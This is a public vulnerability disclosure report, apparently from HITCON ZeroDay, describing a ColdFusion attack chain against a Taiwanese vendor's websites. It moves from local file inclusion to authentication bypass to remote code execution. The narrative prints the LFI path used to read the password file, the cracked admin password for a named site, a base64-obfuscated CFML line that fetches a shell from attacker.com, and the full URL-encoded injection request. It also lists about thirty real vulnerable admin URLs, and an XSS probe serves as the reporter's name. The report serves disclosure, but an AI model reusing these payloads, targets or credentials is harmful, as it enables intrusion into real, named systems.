Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-01322
- Vendor: 育腦發展資訊有限公司
- Title: 育腦發展資訊有限公司 ColdFusion 多個弱點:LFI -> Auth bypass -> code injection -> RCE
- Introduction: 多個弱點
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2018/09/11 02:26:01 : 新提交 (由 <svg/onload=alert(1)> 更新此狀態)
- 2018/09/11 02:29:25 : 新提交 (由 <svg/onload=alert(1)> 更新此狀態)
- 2018/09/11 02:30:34 : 新提交 (由 <svg/onload=alert(1)> 更新此狀態)
- 2018/09/11 22:57:09 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/09/17 14:42:42 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/09/17 14:42:42 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/11/11 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2018-01322
- 通報者:morrow (<svg/onload=alert(1)>)
- 風險:嚴重
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
相關網址
http://edm.ednoland.com.tw/
http://www.cbknet.com.tw
http://call.ednoland.com.tw
http://ubox.ednoland.com.tw/
http://pro.ednoland.com.tw/
http://rfid.ednoland.com.tw/
http://www.bbd53.com.tw/CFIDE/administrator/index.cfm
http://mi.ednoland.com.tw/CFIDE/administrator/index.cfm
http://www.filexec-tw.com/CFIDE/administrator/index.cfm
http://meetingcake.ednoland.com.tw/CFIDE/administrator/index.cfm
http://mobilecake.chenhong.com.tw/CFIDE/administrator/index.cfm
http://miho.chenhong.com.tw/CFIDE/administrator/index.cfm
http://ibm3.ednovation.com.tw/CFIDE/administrator/index.cfm
http://www.chili.org.tw/CFIDE/administrator/index.cfm
http://www.ytg.org.tw/CFIDE/administrator/index.cfm
http://www.csss.com.tw/CFIDE/administrator/index.cfm
http://ganshine.ednoland.com.tw/CFIDE/administrator/index.cfm
http://www.smart-castle.com.tw/CFIDE/administrator/index.cfm
http://www.vankids.com.tw/CFIDE/administrator/index.cfm
http://pinghe.ednoland.com.tw/CFIDE/administrator/index.cfm
http://bigapple.ednoland.com.tw/CFIDE/administrator/index.cfm
http://albert.ednoland.com.tw/CFIDE/administrator/index.cfm
http://hafos.ednoland.com.tw/CFIDE/administrator/index.cfm
http://www.dongyang.com.tw/CFIDE/administrator/index.cfm
http://www.yioushen.com.tw/CFIDE/administrator/index.cfm
http://eden.ednoland.com.tw/CFIDE/administrator/index.cfm
http://dongyang.dongyang.com.tw/CFIDE/administrator/index.cfm
http://beesking.ednoland.com.tw/CFIDE/administrator/index.cfm
http://dong-sheng.ednoland.com.tw/CFIDE/administrator/index.cfm
http://xueyang.ednoland.com.tw/CFIDE/administrator/index.cfm
http://www.yuchen.tw/CFIDE/administrator/index.cfm
敘述
Local FIle Inclusion
一開始發現 http://www.ytg.org.tw 有 ColdFusion 的登入介面,版本又很舊
於是找了一下利用方式,參考了下面這篇的 report,並發現這個版本有 Pre-auth LFI 的風險
Ref:https://jumpespjump.blogspot.com/2014/03/attacking-adobe-coldfusion.html
於是利用了以下的方式成功得到了登入密碼的 hash
/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%00e
得到 hash 後,進一步發現此 hash 為 sha1 的形式
很幸運地網路上已經有人幫我們解出來了,得到密碼為 620519
這種簡單又短的密碼真的非常危險,就算暴力破解也不到半天就出來了
Try To Upload Shell
在上面的 reference 有提到可以利用的 upload shell 方式,但此方式在這個環境並無法使用
因為該 scheduler 功能不知道為什麼無法正常運作(看起來檔案被砍掉了)
於是又嘗試利用了新版的漏洞 CVE-2017-3066,但還是失敗作收
正當準備放棄拿 shell 的時候,發現 LFI 有另外一種利用方式
Ref:
https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2017-3066
https://codewhitesec.blogspot.com/2018/03/exploiting-adobe-coldfusion.html
https://www.exploit-db.com/exploits/43993/
Local FIle Inclusion Again
接下來參考了以下這篇文章裡面所提到的 LFI 漏洞
http://hatriot.github.io/blog/2014/04/02/lfi-to-stager-payload-in-coldfusion/
內文提到:
We can write to this file by triggering an error, such as attempting to access a nonexistent CFML page. This log also fails to sanitize data, allowing us to inject any sort of characters we want; including CFML code.
我們可以發現在 ColdFusion 6~10 版本當中,當存在 LFI 並去讀取 log 檔案時
檔案內如果包含了 CFML Code 的話,也會同時被執行,正好可以被直接拿來 Code Injection
於是我們使用了以下的 code 來注入
<cfhttp method='get' url='#ToString(ToBinary('aHR0cDovL2F0dGFja2VyLmNvbS9zaGVsbC5jZm0='))#' path='#ExpandPath(ToString(ToBinary('Li4vLi4v')))#' file='cmd.cfm'>
-------------
註解:
遠端 shell 的連結:http://attacker.com/shell.cfm
aHR0cDovL2F0dGFja2VyLmNvbS9zaGVsbC5jZm0=
上層目錄:../../
Li4vLi4v
這段 code 會直接下載遠端連結的 shell 到目標目錄
於是我們拿這段 code 去 urlencode,並利用這段加上副檔名 .cfm 直接去訪問
造成 log file 裡面會直接紀錄,並成功 inject 我們的 payload
http://目標/%3Ccfhttp%20method%3D%27get%27%20url%3D%27%23ToString%28ToBinary%28%27aHR0cDovL2F0dGFja2VyLmNvbS9zaGVsbC5jZm0%3D%27%29%29%23%27%20path%3D%27%23ExpandPath%28ToString%28ToBinary%28%27Li4vLi4v%27%29%29%29%23%27%20file%3D%27cmd.cfm%27%3E.cfm
最後利用 LFI 去讀取 log file
/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX7\logs\application.log%00e
就會發現我們的 shell 已經被下載了
Remote Code Execution
最後登入帳號後,直接存取 http://目標/CFIDE/administrator/cmd.cfm 即可直接執行任意命令